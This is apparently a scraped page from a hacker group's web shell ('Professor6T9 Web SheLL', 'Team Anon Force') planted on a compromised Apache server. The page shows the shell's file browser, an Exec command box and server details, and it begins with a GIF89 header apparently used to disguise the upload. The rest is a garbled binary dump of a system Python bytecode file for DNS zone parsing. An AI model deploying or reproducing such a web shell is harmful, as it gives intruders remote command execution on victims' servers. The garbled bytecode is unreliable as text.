GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
zonefile.cpython-310.pyc
o x7�_= � @ s� d Z ddlZddlZddlZddlZddlZddlZddlZddl Zddl ZddlZddlZddl ZddlZddlZG dd� dejj�ZG dd� d�ZdS )z DNS Zones.� Nc @ s e Zd ZdZdS )� UnknownOriginzUnknown originN)�__name__� __module__�__qualname__�__doc__� r r �./usr/lib/python3/dist-packages/dns/zonefile.pyr % s r c @ sB e Zd ZdZddd�Zdd� Zdd� Zd d � Zdd� Zd d� Z dS )�Readerz(Read a DNS zone file into a transaction.Fc C sd || _ |j�� \| _| _}| j| _d| _d| _d| _d| _ | j| _ || _|| _g | _ d | _|| _d S )Nr F)�tokZmanagerZorigin_information�zone_origin� relativize�current_origin�last_ttl�last_ttl_known�default_ttl�default_ttl_known� last_name�zone_rdclass�txn�saved_state�current_file� allow_include)�selfr �rdclassr r �_r r r �__init__- s � zReader.__init__c C s | j �� }|�� rd S q)N)r �get� is_eol_or_eof)r �tokenr r r � _eat_line= s �zReader._eat_linec C s� | j du rt�| jjdd�}|�� s| j�|| j �| _n| j�� }|�� r'dS | j�|� | j}|� | j �s<| �� dS | jrE|�| j �}| j�� }|� � sRtjj�d}ztj�|j�}|| _d| _| j�� }|� � sotjj�W n tjjy� | jr�| j}n| jr�| j}Y nw ztj�|j�}| j�� }|� � s�tjj�W n tjjy� � ty� | j}Y nw || jkr�tj�d��z tj�|j�}W n ty� tj�d|j ��w ztj�||| j| j | j| j �}W n) tjjy� � t�y t�� dd� \}}tj�d� t!|�t!|����w | j�s/|tjj"k�r/|j#| _d| _|du �r/|j#}|du �r:tj�d��| j$�%|||� dS ) z&Process one line from a DNS zone file.NT)Zwant_leading�RR class is not zone's class�unknown rdatatype '%s'� zcaught exception {}: {}�Missing default TTL value)&r r r r Z is_whitespaceZas_namer r �unget�is_subdomainr r r � is_identifier�dns� exception�SyntaxError�ttl� from_text�valuer r �BadTTLr r � rdataclass� Exceptionr � rdatatype�rdata�sys�exc_info�format�strZSOAZminimumr �add) r r �namer* r �rdtype�rd�ty�var r r �_rr_lineC s� ��� � � ����� zReader._rr_linec C s� t �d�}t �d�}t �d�}|�|�}|r%|�� \}}}} } |dkr%d}|�|�}|r=|�� \}}}|dkr9d}d} d} |�|�}|rT|�� \}}}} |dkrRd}d} |sd|sd|sdd}d}d}d} d} | dkrkt� �|||| | fS )Nz"^.*\$({(\+|-?)(\d+),(\d+),(.)}).*$z^.*\$({(\+|-?)(\d+)}).*$z^.*\$({(\+|-?)(\d+),(\d+)}).*$� �+r �d)�re�compile�match�groups�NotImplementedError) r ZsideZis_generate1Zis_generate2Zis_generate3Zg1�mod�sign�offset�width�baseZg2Zg3r r r � _parse_modify� s<